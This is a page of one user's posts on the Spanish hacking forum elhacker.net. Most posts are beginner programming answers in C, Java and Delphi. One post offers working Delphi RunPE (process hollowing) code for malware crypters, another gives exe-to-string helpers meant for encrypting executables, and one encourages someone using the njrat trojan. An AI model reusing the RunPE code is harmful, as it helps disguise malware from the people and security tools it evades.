elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24
141  Programación / Programación C/C++ / Re: HOlA! Ayuda con una duda basica en arreglos! en: 23 Julio 2015, 00:34 am
No olvides algo muy importante que es liberar la memoria
despues utilizarlos

para c se usa la funcion free

Código
  1.  free(arreglo);
  2.  

y para c++ delete cuando son punteros simples o delete[] cuando son arreglos dinamicos

Código
  1.  delete[] arreglo;
  2.  
142  Programación / Programación General / Re: Necesito saber si me podeis ayudar en: 22 Julio 2015, 19:05 pm
te aconsejo veas el foro hermao indetectables.net ahi tienen una sección para autoit con ejemplos y tutoriales creo que te servira mas
143  Programación / Programación General / Re: Librería de Snippets para Delphi en: 20 Julio 2015, 19:06 pm
Funciones para el tratamiento de procesos el codigo es extraido de club Delphi

Código
  1. uses
  2.  SysUtils,windows,TlHelp32;
  3.  
  4. {obtener el nombre de los procesos activos}
  5. procedure obtenerProcesos;
  6. var
  7. continuar:BOOL;
  8. snapshotHandle:THandle;
  9. processEntry32:TProcessEntry32;
  10. begin
  11.    { Creas un Handle para leer procesos }
  12.   snapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  13.   try
  14.    { Creás un buffer de procesos }
  15.    processEntry32.dwSize:=sizeof(processEntry32);
  16.    { continuar es un flag que busca el siguiente proceso y, si hay, lo guarda en processEntry32 }
  17.    continuar:=Process32First(snapshotHandle,processEntry32);
  18.  
  19.    while continuar do
  20.    begin
  21.       {muestra los procesos por consola}
  22.       writeln(processEntry32.szExeFile);
  23.       {busca el siguiente proceso si retorna false sale del bucle}
  24.       continuar:=Process32Next(snapshotHandle,processEntry32);
  25.    end;
  26.   finally
  27.     {cerramos el handle llamado snapshotHandle}
  28.     CloseHandle(snapshotHandle);
  29.   end;
  30. end;
  31.  
  32.  
  33. {compruba si un proceso esta activo a traves de su nombre}
  34. function ProcessExists(AExeName: String): boolean;
  35. var
  36.  ContinueLoop: LongBool;
  37.  FSnapshotHandle: THandle;
  38.  FProcess: TProcessEntry32;
  39.  FExeFound: TFileName;
  40. begin
  41.  { Limpias el hacés un genérico para el FileName }
  42.  AExeName := UpperCase(AExeName);
  43.  Result := False;
  44.  { Creas un Handle para leer procesos }
  45.  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  46.  { Creás un buffer de procesos }
  47.  FProcess.dwSize := SizeOf(FProcess);
  48.  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  49.  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  50.  while (ContinueLoop) and NOT(Result) do
  51.  begin
  52.    { Almacenás el nombre "genéroco" del proceso encontrado }
  53.    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
  54.    Result := (FExeFound = AExeName);
  55.    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  56.  end;
  57.  { Cerrás el Handle }
  58.  CloseHandle(FSnapshotHandle);
  59. end;
  60.  
  61.  
  62. {mata algun proceso activo}
  63. function ProcessKill(AExeName: String; Iterative: boolean = TRUE): boolean;
  64. const
  65.  TERMINATE = $0001;
  66. var
  67.  ContinueLoop: BOOL;
  68.  FSnapshotHandle: THandle;
  69.  FProcess: TProcessEntry32;
  70.  FExeFound: TFileName;
  71. Label NO_ITERATIVE;
  72. begin
  73.  Result := False;
  74.  { Limpias el hacés un genérico para el FileName }
  75.  AExeName := UpperCase((AExeName));
  76.  { Creas un Handle para leer procesos }
  77.  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  78.  { Creás un buffer de procesos }
  79.  FProcess.dwSize := SizeOf(FProcess);
  80.  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  81.  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  82.  while (ContinueLoop) do
  83.  begin
  84.    { Almacenás el nombre "genéroco" del proceso encontrado }
  85.    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
  86.    if (FExeFound = AExeName) then
  87.    begin
  88.      Result := True;
  89.      { Para matarlo lo debés abrir con el flag de TERMINATE }
  90.      TerminateProcess(OpenProcess(TERMINATE, BOOL(0), FProcess.th32ProcessID),0);
  91.      if NOT(Iterative) then { Si no es iterativo sale directamente a cerrar el Handle }
  92.        GoTo NO_ITERATIVE;
  93.    end;
  94.    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  95.  end;
  96. NO_ITERATIVE :
  97.  CloseHandle(FSnapshotHandle);
  98. end;
  99.  
  100.  
  101. begin
  102.  
  103.  obtenerProcesos;//muestra el nombre de los procesos activos
  104.  writeln;
  105.  writeln('Existe calc.exe ',ProcessExists('calc.exe')); //es la calculadora de windows
  106.  Writeln('Proceso matado ',ProcessKill('calc.exe'));
  107.  readln;
  108. end.
  109.  
144  Programación / Programación C/C++ / Re: Cifrado de cesar en [C] [?] en: 19 Julio 2015, 21:43 pm
Mira este codigo a ver si te sirve

Código
  1. void cifrar(char cadena[],int clave,int size){
  2.  int i;
  3.  for(i=0;i<size;i++){
  4. cadena[i]=(char)((int)cadena[i]+clave);
  5.  }
  6. }
  7.  
  8. void descifrar(char cadena[],int clave,int size){
  9.  int i;
  10.  for(i=0;i<size;i++){
  11. cadena[i]=(char)((int)cadena[i]-clave);
  12.  }
  13. }
  14.  
  15.  
  16.  
  17.  
  18. int main()
  19. {
  20. char cadena[]="hola mundo";
  21. int size=strlen(cadena);
  22. cifrar(cadena,13,size);
  23. printf("cadena cifrada: %s",cadena);
  24. descifrar(cadena,13,size);
  25. printf("\ncadena descifrada: %s",cadena);
  26.  
  27. getch();
  28. return 0;
  29. }
145  Programación / Java / Re: Vector de una clase en: 18 Julio 2015, 21:08 pm
Te dejo un ejemplo de como podrias hacerlo, aqui lo importante es usar la clase List que es similar a la vector en c++

Código
  1. import java.util.ArrayList;
  2. import java.util.List;
  3.  
  4. /**
  5.  *
  6.  * @author crack81
  7.  */
  8. public class UsandoList {
  9.  
  10.    public static void main(String[] args) {
  11.  
  12.        List<Jugador> jugadores=new ArrayList<Jugador>();//esto es similar al vector en c++
  13.        Jugador j1=new Jugador("javier torres");//creamos un nuevo jugador
  14.        jugadores.add(j1);//lo añadimos a la lista de jugadores
  15.        System.out.println(jugadores.get(0).getNombre());//obtenemos el nombre del primer jugador en la lista a traves del index
  16.  
  17.        for(int i=1;i<=10;i++){//creamos un for que añadira 10 jugadores a la lista
  18.            jugadores.add(new Jugador("jugador nuemero "+i));//creamos nuevo jugadores con numero diferente
  19.        }
  20.  
  21.        System.out.println("------------------------------------------------");
  22.        for(Jugador jdor:jugadores){//usamos un for each para mostrar todos los nombres de los jugadores
  23.            System.out.println(jdor.getNombre());//mostramos todos los nombres
  24.        }
  25.  
  26.    }
  27.  
  28. }
  29.  
  30. class Jugador{
  31.  
  32.    private String nombre;
  33.  
  34.    public Jugador(final String nombre){//constructor de la clase
  35.      this.nombre=nombre;    
  36.    }
  37.  
  38.    public void setNombre(String nombre){//camabiamos el nombre
  39.      this.nombre=nombre;
  40.    }
  41.  
  42.    public String getNombre(){//obtenemos el nombre actual
  43.      return nombre;
  44.    }
  45. }
  46.  
146  Seguridad Informática / Análisis y Diseño de Malware / Re: Alguien que me ayude con mi troyano (njrat 0.6.4) en: 15 Julio 2015, 03:10 am
Si funciona en tu maquina virtual lo mas seguro es que si
147  Programación / Programación General / Re: Librería de Snippets para Delphi en: 14 Julio 2015, 05:33 am
Para los que les gusta el tema del malware y los crypter les traigo una traduccion que hice de un runpe originalmente hecho en c++

Código
  1. unit Unit1;
  2.  
  3. interface
  4. uses windows;
  5.  
  6. procedure run(szFilePath:LPSTR;pFile:PVOID);
  7.  
  8. implementation
  9.  
  10. function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
  11. procedure RtlZeroMemory(Destination:pointer;Length:DWORD);stdcall;external 'ntdll';
  12.  
  13. procedure run(szFilePath:LPSTR;pFile:PVOID);
  14. var
  15. IDH:PImageDosHeader;
  16. INH:PImageNtHeaders;
  17. ISH:PImageSectionHeader;
  18. PI:PROCESS_INFORMATION;
  19. SI:STARTUPINFOA;
  20. CTX:PContext;
  21. dwImageBase:PDWORD;
  22. pImageBase:LPVOID;
  23. count:Integer;
  24. BitesRead:SIZE_T;
  25. ByteWritten:SIZE_T;
  26. ByteWritten2:SIZE_T;
  27. ByteWritten3:SIZE_T;
  28. begin
  29.  IDH:=PImageDosHeader(pFile);
  30.  if (IDH.e_magic=IMAGE_DOS_SIGNATURE) then
  31.  begin
  32.    INH:=PImageNtHeaders(DWORD(pFile)+IDH._lfanew);
  33.    if INH.Signature=IMAGE_NT_SIGNATURE then
  34.    begin
  35.      RtlZeroMemory(@SI,sizeof(SI));
  36.      RtlZeroMemory(@PI, sizeof(PI));
  37.  
  38.      if( CreateProcessA(szFilePath,nil,nil,nil,false,CREATE_SUSPENDED,nil,nil,SI,PI)) then
  39.      begin
  40.         CTX:=PContext(VirtualAlloc(nil,sizeof(CTX),MEM_COMMIT,PAGE_READWRITE));
  41.         CTX.ContextFlags:=CONTEXT_FULL;
  42.  
  43.         if GetThreadContext(PI.hThread,_CONTEXT(CTX^)) then
  44.         begin
  45.           ReadProcessMemory(PI.hProcess,pointer(CTX.Ebx+8),pointer(@dwImageBase),4,BitesRead);
  46.  
  47.           if (Dword(dwImageBase)=INH.OptionalHeader.ImageBase) then
  48.           begin
  49.             NtUnmapViewOfSection(PI.hProcess,pointer(dwImageBase));
  50.           end;
  51.  
  52.            pImageBase:= VirtualAllocEx(PI.hProcess, POINTER(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, 12288, PAGE_EXECUTE_READWRITE);
  53.            if pImageBase<>nil then
  54.            begin
  55.              WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH.OptionalHeader.SizeOfHeaders, ByteWritten);
  56.              for count := 0 to INH.FileHeader.NumberOfSections-1 do
  57.              BEGIN
  58.                  ISH:=PImageSectionHeader(DWORD(pFile) + IDH._lfanew+ 248 + (Count * 40));
  59.                  WriteProcessMemory(PI.hProcess, pointer(DWORD(pImageBase) + ISH.VirtualAddress), pointer(DWORD(pFile) + ISH.PointerToRawData), ISH.SizeOfRawData, ByteWritten2);
  60.              END;
  61.  
  62.               WriteProcessMemory(PI.hProcess, pointer(CTX.Ebx + 8), pointer(@INH.OptionalHeader.ImageBase), 4, ByteWritten3);
  63.               CTX.Eax := DWORD(pImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
  64.               SetThreadContext(PI.hThread, _CONTEXT(CTX^));
  65.               ResumeThread(PI.hThread);
  66.            end;
  67.  
  68.         end;
  69.  
  70.      end;
  71.  
  72.    end;
  73.  
  74.  end;
  75.   VirtualFree(ctx, 0, MEM_RELEASE)
  76.  
  77. end;
  78.  
  79. end.
148  Programación / Programación General / Re: Librería de Snippets para Delphi en: 14 Julio 2015, 05:30 am
Funcion para saber si un numero esta en un rango entre dos numeros,
si es cierto retorna true sino retorna false


Código
  1. function numberIsInRange(const number,min,max:integer):boolean;
  2. begin
  3. result:=((min<=number) and (number<=max));
  4. end;
  5.  
  6. begin
  7.    writeln(numberIsInRange(5,1,100);  //muestra true
  8.    writeln(numberIsInRange(0,55,98);  //muestra false
  9.    writeln(numberIsInRange(25,55,98); //muestra true
  10.    Readln;
  11. end.
  12.  

Funcion que muestra los tamaños maximos de los diferentes tipos de entero
en Delphi, el enfoque principal son las funciones low y High que son las
encargadas de retornarnos ese valor, esto solo es valido con numeros enteros
y no con reales


Código
  1. procedure sizeMaxOfDataType;
  2. begin
  3.  writeln('Byte    -> ',low(Byte),' to ',high(Byte));
  4.  writeln('Integer -> ',low(integer),' to ',high(integer));
  5.  writeln('Int64   -> ',low(Int64),' to ',high(Int64));
  6.  writeln('LongInt -> ',low(LongInt),' to ',high(LongInt));
  7.  writeln('Longword -> ',low(Longword),' to ',high(Longword));
  8.  writeln('Word -> ',low(Word),' to ',high(Word));
  9. end;


Funciones una para leer archivos .exe y almacenarlo como string y la otra para poder convertir strings a .exe
utilizando la clase Tfilestream

Código
  1. uses
  2.  SysUtils,classes;
  3.  
  4. {
  5. Funcion que lee un fichero y lo convierte a string el caso mas comun es
  6. cuando necesitas leer un exe y hacer alguna modifcacion como cifrarlo o
  7. alterar su informacion la funcion necesita el use classes para poder llamar a
  8. la clase Tfilestream
  9.  
  10. }
  11. function binaryToString(const path:string):String;
  12. var
  13. _File:TFileStream;
  14. size:Int64;
  15. begin
  16.  if FileExists(path) then
  17.  begin
  18.    _File:=TFileStream.Create(path,fmOpenRead);
  19.    try
  20.      size:=_File.Size;
  21.      SetLength(result,size);
  22.      _File.Read(result[1],size);
  23.    finally
  24.      _File.Free;
  25.    end;
  26.  end
  27.  else result:='';
  28. end;
  29.  
  30.  
  31. {Funcion para crear un fichero en base a un string que le pasemos, esta
  32.  funcion se usa en conjunto con la anterior ya que despues de leer y modificar
  33.  un fichero necesitamos volver a regresarlo a un estado de fichero  por eso la
  34.  necesidad de esta funcion.
  35. }
  36. function stringToBinary(const nameExe,source:string):Boolean;
  37. var
  38. _File:TFileStream;
  39. begin
  40.  result:=false;
  41.  _File:=TFileStream.Create(nameExe,fmCreate);
  42.  try
  43.    _File.Write(source[1],length(source));
  44.  finally
  45.    _File.Free;
  46.  end;
  47.  
  48.  result:=true;
  49. end;
  50.  
  51. var
  52. source:string;
  53. begin
  54.    source:=binaryToString('C:\archivo.exe');
  55.    stringToBinary('C:\nuevoArchivo.exe',source);
  56.    writeln('listo');
  57.    Readln;
  58. end.
  59.  




149  Programación / Programación C/C++ / Re: Listados de usuarios en: 13 Julio 2015, 06:18 am
Preguntas porque no te regresaba al menu era por que en la funcion getionar jugadores despues de escoger una opcion no volvia a mostrar el menu para volver al menu principal

Código
  1. void Gestionar_jugadores()
  2. {
  3. system("cls");
  4. jugador jugadores[CANTJUG];
  5. //inicializo todo el arreglo
  6. int i;
  7. for (i=0; i<CANTJUG;i++)
  8. {
  9. inicializo(jugadores,i);
  10. }
  11.  
  12.  
  13.  
  14. int op;
  15. while (op!=4)
  16. {
  17. system("cls");
  18. printf("MENU\n");
  19. printf("====\n");
  20. printf("1-Alta de jugador\n");
  21. printf("2-Baja de jugador\n");
  22. printf("3-Modificacion jugador\n");
  23. printf("4-Volver al menu anterior\n");
  24. printf("\n\n");
  25. op = ingopcion();
  26.  
  27. switch (op)
  28. {
  29.            case 1:
  30. alta(jugadores);
  31.                    break;
  32.            case 2:
  33. baja(jugadores);
  34.                    break;
  35.            case 3:
  36. modificacion(jugadores);
  37.                    break;
  38.            case 4: menu();
  39. break;
  40.        }
  41.  
  42. }
  43.  
  44.  
  45. }
  46.  


y tambien habia un detalle en la funcion alta ya que scanf no leian bien la opcion de confirmar

Código
  1. void alta(jugador jugadores[])//problema me sigue pidiendo jugadores en vez de volver al menu
  2. {
  3. char confirma;
  4. int nroJug;
  5. system("cls");
  6. printf("\nINGRESO DATOS DE JUGADORES");
  7. printf("\n==========================\n");
  8. nroJug = ingNroJugador();
  9. if (jugadores[nroJug-1].nombre.largopalabra==0)
  10. {
  11. jugadores[nroJug-1].nombre = ingresoNombre();
  12. jugadores[nroJug-1].apellido = ingresoApellido();
  13. jugadores[nroJug-1].cedula = ingresoCedula();
  14. jugadores[nroJug-1].fechanacimiento = ingresoFechanacimiento();
  15. jugadores[nroJug-1].alias = ingresoAlias();
  16. printf("Confirma Ingreso S/N");
  17. fflush(stdin);
  18. scanf("%c",&confirma);
  19. if (confirma=='N' || confirma == 'n')
  20. {
  21. inicializo(jugadores,nroJug-1);
  22. menu();
  23. }
  24. }
  25. else
  26. {
  27. printf("\nJugador YA existe");
  28. printf("\nPresione cualquier tecla para continuar");
  29. }
  30.  
  31. }
150  Programación / Programación C/C++ / Re: ¿Como hacer una lista de nombres usando array con lenguaje C? en: 13 Julio 2015, 05:19 am
Que bueno que aprendas a programar en c sigue asi
Bueno tu lo que andas buscando es un arreglo bidimensional o tambien llamado de dos divisones

prueba esto:

Código
  1. int main()
  2. {
  3. char nombre[10]="maria";
  4.  
  5. //Esto es un arreglo bidimensinal
  6. //el primer corcheta es la cantidad de nombres
  7. //el segundo corchete es el tamano maximo de caracteres por cada nombre
  8. char nombres[4][10]={"jose","maria","rosa","sara"};
  9.  
  10. int i;
  11. for(i=0;i<4;i++){
  12.  printf("%s\n",nombres[i]);   //mostramos todos los nombres
  13.  if(strcmp(nombre,nombres[i])==0){
  14. printf("se encontro el nombre en la lista\n");//si encuentra el nombre muestra el mensaje
  15.  }
  16. }
  17.  
  18. return 0;
  19. }
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines